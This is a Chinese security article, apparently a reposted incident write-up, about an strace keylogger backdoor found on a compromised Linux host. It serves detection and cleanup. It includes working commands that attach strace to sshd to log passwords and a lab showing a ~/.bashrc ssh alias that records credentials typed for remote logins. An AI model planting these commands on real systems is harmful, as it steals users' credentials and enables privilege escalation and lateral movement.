strace键盘记录后门分析

admin 2023年12月9日16:08:54评论66 views字数 3168阅读10分33秒阅读模式

一、起因

(一)排查中发现的异常strace进程

在某次重要活动中,某应用系统因存在漏洞而失陷。在上机排查过程中,发现系统中运行着strace进程,正在跟踪ssh服务进程的系统调用:

//查看命令历史

history

strace键盘记录后门分析

strace键盘记录后门分析

//查看进程列表中的strace

ps aux | grep strace

strace键盘记录后门分析

根据经验,初步判断该进程可能是strace键盘记录后门。


(二)问题的提出

  • 排查中发现的strace进程的作用是什么?

  • strace程序原本的作用是什么?

  • 通过实验演示如何将strace作为键盘记录后门使用

  • 如何处置strace键盘记录后门?


二、分析和解答

(一)排查中发现的strace进程的作用

1、 命令历史中的strace

sudo strace -f -F -p `ps aux | grep "sshd -D" | grep -v grep | awk '{print $2}'`

strace参数说明:

-f //跟踪子进程

-F //已弃用

-p //指定进程的PID

这条命令的作用是,使用strace,通过sshd服务的PID对其进行跟踪,具体跟踪的方式因屏幕宽度不够而没有显示出来。

sudo grep -E 'read(6, ".+\0\0\0\.+"'/tmp/sshd.log)'

这条命令的作用是,从/tmp/sshd.log文件中提取包含特定字符串的行(记录的密码)。


2、 进程中的strace

sudo strace -f -F -p 1613303 -t -e trace=read,write -s 32

strace的参数:

-t //在输出中加入时间戳

-e expr //指定表达式,控制如何跟踪格式如下: [qualifier=][!]value1[,value2]...

默认的 qualifier是trace-e trace=read,write即追踪读、写相关的系统调用

-s strsize //指定输出的字符串的最大长度默认为32。

这条命令的作用是,使用strace追踪PID为1613303的进程的与读写有关的系统调用。

注意,以上的strace命令中没有指定输出文件,实际上是要输出到文件中的,这里因为屏幕宽度不够,导致-o参数的内容无法显示出来。完整的命令应该是这样:

strace -f -F -p 1613303 -t -e trace=read,write -s 32 -o /tmp/sshd.log

由此可看出攻击者的意图:跟踪sshd服务的读、写相关的系统调用,将调用的内容写入指定的文件。之所以这样做,是因为sshd进程读写的内容中包含远程主机登录本地时使用的用户名和口令,攻击者可通过查看文件内容来获取。如果获取了root的口令,攻击者即可完全控制该系统。


(二)strace程序原本的作用

1、 strace是什么?

strace常用来跟踪进程执行时的系统调用和所接收的信号。在Linux系统中,进程不能直接访问硬件设备(如读取磁盘文件,接收网络数据等),当进程需要访问硬件设备时,必须由用户态模式切换至内核态模式,通过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用包括参数返回值执行消耗的时间。

strace可以附着到已在运行的进程或新的进程。使用strace跟踪进程时,不需要那个进程的源代码,也不需要对该进程进行重新编译。

strace从内核接收系统调用的信息,不需要内核进行任何修改。


2、 strace能解决什么问题?

strace命令是一个集诊断、调试、统计与一体的工具,可以利用strace来跟踪应用程序的系统调用和信号传递过程,以便对应用运行机制进行分析,从而解决应用程序遇到的问题,如程序运行缓慢、运行出错等。也可以以此判断该程序是否是一个恶意程序。


(三)strace键盘记录后门实验

下面的实验取自我在FREEBUF上发布的一片文章,名为《Linux系统后门初步研究》,网址为:

https://www.freebuf.com/articles/system/259494.html

我在这里做更详细的解释。以下操作均在linux主机(manjaro 2020,假设已失陷)上执行。

1、 创建别名alias

(1) 编辑配置文件

vi ~/.bashrc //文件末尾加入下面的指令

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

保存退出


(2) strace的参数说明:

strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh

-o //strace的输出写入文件

-e expr //指定表达式,控制如何跟踪格式如下: [qualifier=][!]value1[,value2]...

默认的 qualifier是trace-e open等价于 -e trace=open-e read,write,connect即追踪读、写、连接的系统调用

-s strsize //指定输出的字符串的最大长度默认为32。

ssh //跟踪状态下运行的命令


(3) 使修改生效

source ~/.bashrc

执行后alias别名即生效。此后用户在命令行输入ssh时,执行的不是/usr/sbin/ssh,而是strace那一串命令。这样,用户通过ssh访问其它主机所输入的用户名和口令都会被攻击者获取,攻击者以此作为横向移动的凭据。


2、 获取ssh账户的口令

(1) 用户发起ssh连接

//失陷主机上,正常用户执行ssh命令,访问其它主机

ssh [email protected]


(2) 获取ssh账户/口令

//查找指定信息所在的行,这里是第89行

cat /tmp/sshpwd-2411月111606192953.log | grep -n password | grep write

strace键盘记录后门分析
可以看到用户名是user1,访问的主机是192.168.242.133
less /tmp/sshpwd-2411月111606192953.log
输入89g,跳到第89行
strace键盘记录后门分析
口令就在这里:123456
注意,实验中的strace实现的功能与排查中发现的strace不同。实验中,strace跟踪ssh客户端的系统调用,目的是获取远程主机的用户名口令,用于横向移动。在排查中,strace跟踪的是本机ssh服务的系统调用,目的是获取本地用户名和口令,用于权限提升。

(四)strace后门的处置

1、 判断可执行文件是否已被替换

在排查中查看进程列表,strace后门进程非常明显。从攻击者的角度考虑,既然要替换系统中的可执行文件,那么替换后的可执行文件运行起来就不应该像原来的程序那样显眼,否则进程还是会被轻易识别和终止。由此看来,攻击者应该没有替换它。但这毕竟是自己的主观判断,可采用下面的方法进行验证:
//获取strace进程的PID
ps aux | grep strace
//查看进程所对应的可执行文件名称
ls -alh /proc/PID/exe
如果文件出现在/tmp或其它明显不正常的路径中,则说明已被替换。这里假设文件处于正常的路径中:/usr/bin/strace
//查看文件的时间属性:包括创建时间、访问时间、修改时间、变更时间
stat /usr/bin/strace
若与系统被入侵的时间相符那就要注意了。
//计算可执行文件的哈希
md5sum /usr/bin/strace
将哈希值提交到威胁情报平台,查看是否恶意。

2、 清除strace键盘窃听器后门

清除后门的方法,一是终止进程,二是清除可能隐藏和触发strace后门指令的因素,如系统配置、自启动服务、计划任务、rootkit等,这里不做展开,可参考其它文档。


原文始发于微信公众号(新蜂网络安全实验室):strace键盘记录后门分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月9日16:08:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   strace键盘记录后门分析https://cn-sec.com/archives/2283354.html

发表评论

匿名网友 填写信息